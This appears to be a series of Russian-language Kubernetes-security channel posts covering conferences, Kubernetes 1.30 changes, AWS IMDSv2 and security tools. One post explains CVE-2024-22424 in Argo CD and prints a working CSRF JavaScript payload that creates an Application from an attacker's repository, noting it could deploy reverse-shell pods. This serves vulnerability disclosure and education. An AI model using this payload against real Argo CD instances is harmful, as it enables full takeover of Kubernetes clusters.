На прошлой неделе прошел KubeCon + CloudNativeCon Europe 2024, однако перед этой большой конференцией прошла Cloud Native Rejekts EU 24 – по масштабам она сильно меньше, но по полезности точно не уступает. Эта конференция для докладов, которые не были приняты на KubeCon + CloudNativeCon Europe 2024.

Один из докладов оттуда – Exploring Attacker Persistence Strategies in Kubernetes от Rory McCune, в нём он рассказывает о способах закрепления в Kubernetes кластерах.

По сценарию, который рассматривается в докладе, атакующий получает доступ к cluster-admin на короткий промежуток времени и хочет закрепиться в кластере, используя Tailscale. Более подробно о том, что это такое и как с этим работать он рассказал в статье Using Tailscale for persistence.

С 19 по 22 марта в Париже прошел KubeCon + CloudNativeCon Europe 2024. Там было как всегда море всего интересного про Kubernetes и его безопасность. Пока что мы еще изучаем показанное там и готовим для вас посты, вы уже можете самостоятельно окунуться в море почти бесконечных докладов! Но предварительно ознакомьтесь с их перечнем в расписании, чтобы сориентироваться где и что искать ;)

- KubeCon + CloudNativeCon Europe 2024
- ArgoCon North Europe 2024
- BackstageCon Europe 2024
- Cloud Native AI Day Europe 2024
- Cloud Native Wasm Day Europe 2024
- Kubeflow Summit Europe 2024
- Multi-TenancyCon Europe 2024
- OpenTofu Day Europe 2024
- Platform Engineering Day Europe 2024

Напомним, что теперь SecurityDay трека нет, а есть отдельная конференция CloudNativeSecurityCon и она будет 26–27 июня.

Kubernetes 1.30 уже не за горами (релиз 17 апреля), кодовая база заморожена, а это значит что самое время посмотреть, что нового приготовили для нас разработчики со стороны security.

- Improved Handling of Secret Images in Container Runtime. Повторная аутентификация при связке imagePullPolicy: IfNotPresent и imagePullSecrets
- Reduction of Secret-Based Service Account Tokens. При создании нового Service Account, токен и его секрет не будут генерироваться автоматически
- Bound Service Account Token Improvements. Теперь к Service Account, которые привязаны к конкретным Pod будут добавляться JWT ID (JTI).
- Node Log Query. Добавление новой ручки в kubelet, благодаря которой можно будет собирать логи с Node – kubectl get --raw "/api/v1/nodes/worker/proxy/logs/?query=kubelet&pattern=error"
- Prevent Unauthorized Volume Mode Conversion During Volume Restore. Предотвращение несанкционированного доступа, когда PVC восстанавливается из VolumeSnapshot.
- Speed Up Recursive SELinux Label Change. Ускорение времени запуска контейнеров за счет оптимизации процесса изменения лейблов SELinux.
- Kubelet Support for Image Filesystem Split. Разделение FS контейнера на слои – writable и read-only.

Про эти и другие изменения более подробно можно почитать в официальном changelog.

Сегодня мы рады анонсировать еще 1 доклад с нашей конференции БеКон 2024. Таким образом уже анонсировали 8 докладов. Будет еще 1-2.

#8

Название: Вы еще не читаете Kubernetes Audit Log? Тогда мы идем к вам!
Докладчик: Алиса Кириченко (Лаборатория Числитель)
Описание: Многие компании, в т.ч. крупные сталкиваются с проблемой эффективного сбора и обработки логов. В докладе мы рассмотрим: для чего собирать Kubernetes логи, как их выбирать, не терять при сборе и перенаправлении, а также не перегружать хранилище

Напомним, что билетов ограниченное количество, и взять их можно тут.

В связи с недавним нашумевшем инцидентом с xz utils в очередной раз хочется обратить внимание на замечательную заметку от Halvar Flake под названием "A bank statement for app activity (and thus personal data)" от 2018 года, где он рассуждает что такое вредоносное и не вредоносное.

Пускай он там говорит в основном про мобильные приложения, но суть поведения приложений также накладывается и на контейнеры с их запуском исполняемых файлов, обращению к файловой системе и сетевым соединениям. Также благо, что наши контейнеры запускаются на иммутабельных образах и имеют не изменяемую логику, небольшую работу на скейле (на нескольких копиях).

Как итог, важно понимать свою систему, которую вы защищаете, а не относиться к ней как к черному ящику.

P.S. Занимательный факт - именно эта заметка легла в основу поведенческого анализа и observability нашего Luntry.

4 апреля в Москве в рамках мероприятия «Территория безопасности 2024: все pro ИБ» наша команда и в рамках выставки покажет Luntry, и в рамках секции PRO УПРАВЛЕНИЕ УЯЗВИМОСТЯМИ расскажет доклад «Управление уязвимостями в микросервисах и контейнерных средах».

В данном докладе мы рассмотрим какие есть особенность в теме vulnerability management для: микросервисов, контейнеров, окружений под управлением Kubernetes, облачных сред и т.д. И какие это дает возможности с соответствующими преимуществами и недостатками.

Будем рады пообщаться лично)

2024-ый год для Argo CD начался с пачки CVE (большинство из них DoS), однако наше внимание привлекла CVE-2024-22424: Cross-Site Request Forgery (CSRF) in github.com/argoproj/argo-cd.

Всё началось с того, что уже несколько лет API Argo CD уязвимо к CSRF (1,2). Но разработчики игнорировали эту проблему (видимо не было достоверных пруфов эксплуатации) и в качестве мер митигации стали использовать Lax SameSite cookie, которую можно довольно легко обойти, если origin находится в том же родительском домене, что и target.

Исследователи обнаружившие эту уязвимость рассмотрели случай, когда атакующий контроллирует содержимое на marketing.victim.com (например, через хранимую XSS) и его целью является Argo CD расположенный на argocd.internal.victim.com. Представленный PoC позволяет атакующему через CSRF уязвимость получить полный контроль над кластером Kubernetes. Для этого на подконтрольном домене атакующему достаточно разместить следующий JavaScript код:

var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://argocd.internal.victim.com/api/v1/applications');
xhr.setRequestHeader('Content-Type', 'text/plain')
xhr.withCredentials = true;
xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/user/repo","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')

После того как жертва перейдет на marketing.victim.com от её лица выполнится POST запрос к API Argo CD на создание Application, где repoURL – github репозиторий, в котором злоумышленник может разместить что угодно: Bad Pods с reverse shell, Cluster Admin права и т.д. Всё это задеплоится в кластере.

Более подробно об этой уязвимости можно прочитать в заметке исследователей.

Прикольно, что через веб уязвимость можно получить полный контроль над кластером Kubernetes.

На злобу дня)

Что сейчас многие делают? Выискивают у себя в инфраструктуре этот xz utils, ставят задачи на откатиться на нужную версию и ждут когда это произойдет. Возможно кто-то еще какие-то правила детектов на уровни сети напишет. Совсем малое количество (с высоким уровнем зрелости) полезут в логи и будут пытаться там найти следы эксплуатации этой проблемы и если что заведут соответствующие инциденты, которые нужно будет расследовать. Большинство же не сможет не обнаружить этого, не провести расследования (и будут уже жить с другим бэкдором на другом уровне у себя в инфраструктуре).

Хотелось бы в очередной раз напомнить про экономический момент в безопасности. Предотвратить дешевле, чем расследовать ... Не забывайте об этом когда строите безопасность у себя в компании.

Стало доступно видео доклада "Безопасность Kubernetes кластеров: вредные советы" с DevOpsConf 2024! Буду рад обратной связи кто не был на самом выступлении. Присутствующие же очень высоко оценили доклад - по итогам конференции он вошел в ТОП-10 =)

В одном из предыдущих постов мы рассказывали про Kubernetes LAN Party – небольшое CTF, состоящее из 5 заданий и посвященное Kubernetes Network Security. Пост набрал большие охваты и реакции, очевидно, что вы хотели видеть разбор этих заданий от нас и мы его сделали.

По ссылке можно почитать write-up с разбором всех пяти заданий. Спойлеров не будет, все флаги заблюрены :) Мы рекомендуем прорешать и попробовать свои силы в этом CTF каждому, кто так или иначе имеет дело с безопасностью Kubernetes, и только потом обращаться к нашей статье.

В заключении недели мы рады поделиться слайдами и видео нашего выступления "Нестандартное применение Kyverno" c конференции SafeCode 2024! Изначально доклад задумывался как полу шуточный, но с прицелом на то что бы показать практическую безграничность логику политик, которую вы можете реализовать с данным PolicyEngine. На самом деле вы ограничены лишь своей фантазией) На сегодняшней день PolicyEngine это просто must have инструмент для любой инфраструктуры и что важно как для ИБ, так и ИТ команд.

Сегодня мы рады анонсировать еще 1 доклад с нашей конференции БеКон 2024. Таким образом уже анонсировали 9 докладов.

#9

Название: Строим заборы между сервисами
Докладчик: Андрей Бойцев (Яндекс Финтех)
Описание: В этом докладе мы расскажем о нашем опыте внедрения авторизационных политик (построение zero-trust межсервисной авторизации на базе Istio) в нескольких кластерах, обсудим примеры и сложности с которыми мы столкнулись во время внедрения.

Напомним, что билетов ограниченное количество, и взять их можно тут.

25 марта AWS зарелизила новую функцию, которая позволяет по умолчанию внедрять IMDSv2 на уровне региона для newly-launched instances. Хоть это и долгожданное обновление, тем не менее у этой функции всё еще есть некоторые недостатки.

Использование IMDSv2 защищает от SSRF уязвимостей, которые в противном случае позволили бы злоумышленнику получить креды из Instance Metadata Service (IMDS).

Это отличный способ включить безопасные настройки по умолчанию , но пока это не так. Вероятно, скоро это изменится, согласно заявлению AWS:

Mid-2024 – Newly released Amazon EC2 instance types will use IMDSv2 only by default. For transition support, you will still be able to enable/turn on IMDSv1 at launch or after launch on an instance live without the need for a restart or stop/start.

Больше технических подробностей про IMDSv2 можно найти в статье "IMDSv2 enforcement: coming to a region near you!".

Ingress Node Firewall - проект с открытым исходным кодом из репозитария OpenShift, реализующий Ingress node firewall в виде Kubernetes operator с помощью eBPF XDP kernel плагина. У данного оператора есть 3 CustomResource:
- IngressNodeFirewallConfig
- IngressNodeFirewallNodeState
- IngressNodeFirewall

По сути он позволяет ограничить от кого на какие порты сервисы на Node могут принимать соединения, а от кого нет.

Подробнее о данном операторе можно узнать из презентации "OCP 4.14 Stateless Ingress Node Firewall" и в этом 20 минутном видео. А примеры ресурсов тут.

Сегодня хотим поделиться с вами прикольным расширением Argo CD для Trivy Operator. Расширение позволяет прямо в интерфейсе Argo CD отображать vulnerability reports, созданные Trivy Operator в результате сканирования на уязвимости docker образов.

Для того чтобы установить расширение к себе в Argo CD необходимо немного пропатчить Deployment argo-cd sever. А именно – добавить init-container с необходимым React Component.

Вечернее чтение не особо примечательной статьи "PIDs limit — How to Change K8S POD’s Limit", описывающей то, как инженер повышал количество возможных PID внутри Pod для Mongo, которая создает на каждой соединение по процессу, навела на ряд интересных мыслей:
1) Возможность DOS системы за счет исчерпания доступного лимита на Node. И как оказалось это не оригинальная идея и она уже рассматривалась в документации OpenShift.
2) Возможность ограничить количество PID на контейнер, что не позволит атакующему/злоумышленнику в таком контейнере создать новые процессы (получить shell и т.д.). Тут через поиск нашелся тикет Allow setting pids-limit on containers #43783, но решение так и не появилось ...

Что думаете про такое?)

Вчера на одном достаточно кулуарном мероприятии по ИБ общались с друзьями из разных продуктовых команд безопасности по поводу темы управления уязвимостями. Тема, конечно, очень большая и нас как вы понимаете в первую очередь интересовала область касаемая уязвимостей в пакетах образов контейнеров.

Если раньше можно было часто слышать про zero tolerance к уязвимостям, то теперь эта риторика постепенно сходит.

Давайте рассмотрим такой самый распространенный случай (разработчики не дадут соврать):
1) Обновили feed - в проде есть critical.
2) Есть задача обновиться на последнюю версию.
3) При обновлении выясняется, что там несколько high или другой critical.

И вот эту ситуацию решает кто как с учетом как у них работают или не работают security gates и механизмы принятия рисков ...

Давайте в комментариях поделимся своим опытом и своим взглядом на эту ситуацию.

P.S. С удивлением для себя открыл, что некоторым проще жить с той багой что уже на проде, чем как-то обходить security gates и выкатывать новое.

P.S.S. А сегодня будем рады пообщаться в рамках CISO Forum 2024 ;)

The Kubenomicon - это база знаний одного начинающего исследователя, который хотел для себя задокументировать как можно атаковать Kubernetes. Если матрица угроз для Kubernetes от Microsoft нацелена на специалистов, что занимаются защитой данной системы, то данный проект нацелен на тех, кто атакуют данную систему.

Так проект Kubenomicon для многих новичков будет полезным, но помните, что он еще очень сырой ... много что там не описано и ждет доработки, ну и неточности/неполнота тоже имеются, так что будьте аккуратны. Ну и как-то практически все описывается без оглядки на RBAC, что создает ложную иллюзию простоты. Явно тут не хватает описания моментов/механизмов, которые могут противодействовать этому и почему у вас может, так сказать, не получаться по инструкции)

По данной теме наша команда Luntry в лице Сергея Канибора на VK Kubernetes Conf 2023 в рамках доклада "Экскурсия по матрицам угроз для контейнеров и Kubernetes" уже рассказывала об основных матрицах угроз для контейнеров и K8s, об их отличиях и недостатка, а также на примерах показывала, как это может работать и не работать. То есть что там есть далеко не все, и мы на своих проектов применяем больше, чем есть в этих матрицах.

Сегодня хотим подсветить инструмент Dredge, автором которого является человек, создавший The Kubenomicon (о нём рассказывали в прошлом посте).

Поиск секретов это всегда утомительная задача из-за большего количества false positive. Dredge призван решить эту проблему, используя полуручной анализ найденных результатов. Кроме того, в нём есть то, чего нет в других инструментах для поиска sensitive info:

- При поиске кредов обычно ищут фактический пароль. Но что если вы не знаете пароль? Dredge позволяет создавать очень общие запросы, такие как API_KEY=, и анализировать результаты на предмет чувствительной информации;
- Wordlist может быть адаптирован к среде, в которой в ищете секреты;
- Dredge поддерживает поиск и копирование kubeconfig файлов;
- Это просто bash script. Никаких внешних зависимостей.

Сегодня у нас в центре внимания статья/заметка с говорящим названием "How to Port a Sample Application to Chainguard Images" от создателей Chainguard Images. Здесь прям по шагам рассматривается как портировать приложение на NodeJS и Python на тонкие образы. В результате получаем и образы более маленького размера и 0 CVE в графе уязвимостей. Ну не прекрасно ли ?)